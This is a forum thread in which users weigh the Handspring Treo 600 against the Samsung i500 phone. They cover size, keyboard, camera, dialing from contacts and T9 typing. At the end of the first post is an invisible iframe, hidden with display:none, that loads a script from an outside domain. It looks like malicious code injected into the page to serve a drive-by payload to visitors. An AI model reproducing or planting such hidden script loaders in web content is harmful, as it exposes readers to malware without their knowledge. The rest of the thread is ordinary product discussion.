Well, which to pick?

Handspring Treo 600 Pros:
Palm 5
Keyboard
Camera
SD-card slot
Nice control stick and software

Samsung SGH i500:
Small, clam-shell design
(but Palm 4, no keyboard, no camera, no expansion)

You see, I have a Treo 300 already. So really, the i500 is just like the Treo 300 except much smaller and without a keyboard.

I think the small clamshell design of the i500 OUTWEIGHS everything the Treo 600 has:

1) I really don't do that much email or instant chatting on my Treo 300, and I used to be really good at graffiti. I think I could do email with Graffiti... I have a friend with the Kyocera palm flip-phone who does plenty of SnapperMail emailing.

2) The camera I heard is crappy, so I don't need that (probably need to buy a good digital camera anyways).

3) SD-card slot would be great for MP3's. But I've decided to buy an iPod anyways, especially now iTunes is available for Windows (thank goodness no more buggy MusicMatch or WinAmp 3.x)

4) Palm 5: well, I don't know really any software that takes advantage of Palm 5 yet. Plus, the Treo 600 has 160x160 resolution which probably makes it difficult to take advantage of cool, hi-resolution Palm 5 programs.

Basically, the only thing I could lose by going with the i500 is the Handspring software that I've grown accustomed to. I also heard the control stick is very well implemented.

So the question boils down to: how is the Samsung i500 software? I've decided that _I_ don't need a camera, keyboard, or expansion... but I do need good, intuitive software. I've read a lot about the Treo 600 software, but don't know anything about the i500. I've played with a mock i500 in the Spring store without software. I still haven't held a Treo 600.

I've heard, for instance, that on the i500 you can only select ONE phone number from each person to dial with the press of a button... if you want to call their pager, cell, work, other, then you have to enter the digits or cut-and-paste? If that's true, then what is the point of having a converged device? Then I might as well buy the ultimate phone and the ultimate PDA if I have to re-enter a phone number to dial with. I'm very satisfied with the Treo 300 in terms of software, but would like a better form-factor in terms of hardware.

What do you guys think? Any enlightenment welcome.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Hi Alice, I just left the Treo 300 I had for about a year. The form factor of the I500 is a huge plus for me; I wanted to have my Treo along in my pocket but it was just to bulky and heavy, and that is the primary reason I am not bothering with the Treo 600--it is actually heavier than the Treo 300! I would love to have the back-up ability of a card slot, but I can live without it. Everything else is a wash: the keyboard was great but I found I can do without it just fine. My wife has a Sanyo 8100 and after the first day or so, she completely forgot about the camera. Let us not forget that building a phone/PDA that small and light represents a technological achievement in itself. Would I give up size and light weight for a camera, keyboard, or card slot. NO--I like it this way...

alicelinden -

With regard to your last paragraph, that's not true! A must have for me is the ability to dial ANY number in my address book one handed. It was not real obvious at first but you can do it on the i500.

Just press the phonebook button, repeated presses cycle through the categories (All, business, Personal, etc.). Navigate to the entry you want using the number keys and/or up-down button. Once there, just hold down the Talk button for a second or so. You will see a list with all numbers for that contact, just use the up-down button to select the number you want to dial.

After playing with both the Treo 600 and the i500, the 600 is just too big. The i500 is the closest thing to a perfect phone I've had (so far...).

Thanks for the info about how to dial with the i500.

It sounds a tiny bit less elegant without a thumb scroller... in the Treo 300 (and 600 I bet) the Contact application is modified by Handspring so that each name is displayed with all the phone numbers (office, home, mobile, pager) in separate lines below, then you can type either the first few letters of the first or last name to get closer, then thumb scroll up or down to the appropriate number then depress the thumb wheel when on the right number to dial.

So the cool things are: type name to jump fast to the contact, and all the numbers are listed on their own lines, so it's not like you have to wait for the numbers to pop up.

Can you "hone in" on the i500 by using the keypad? Have you used both the Treo 300 and the i500 so you can compare the dialing modes directly? (I've never used an i500)

Also, can you do email/instantmessage/SMS with the keypad using the T9 (i believe that's what it's called) mode where the computer guesses your responses (like if you typed 43556 it would automatically guess "hello" is the most likely word)... I believe this is the system that made SMS so popular in Europe with teens because it actually makes typing quite fast... I was wondering if you can do email/instantmessaging with this method to compensate for lack of a full keyboard (I know you can do Graffiti, but I'm just wondering if T9 is a viable option).

<alicelinden@email.com>

I think the i500 is the right choice for you from what you've described. You might want to take up your specific i500 questions in the i500 forum which is very active.

__________________
Mike - Been Converged?

How about the Datebook application on the SPH i500? Any good? And the calculator? Handspring has some decent variations on them.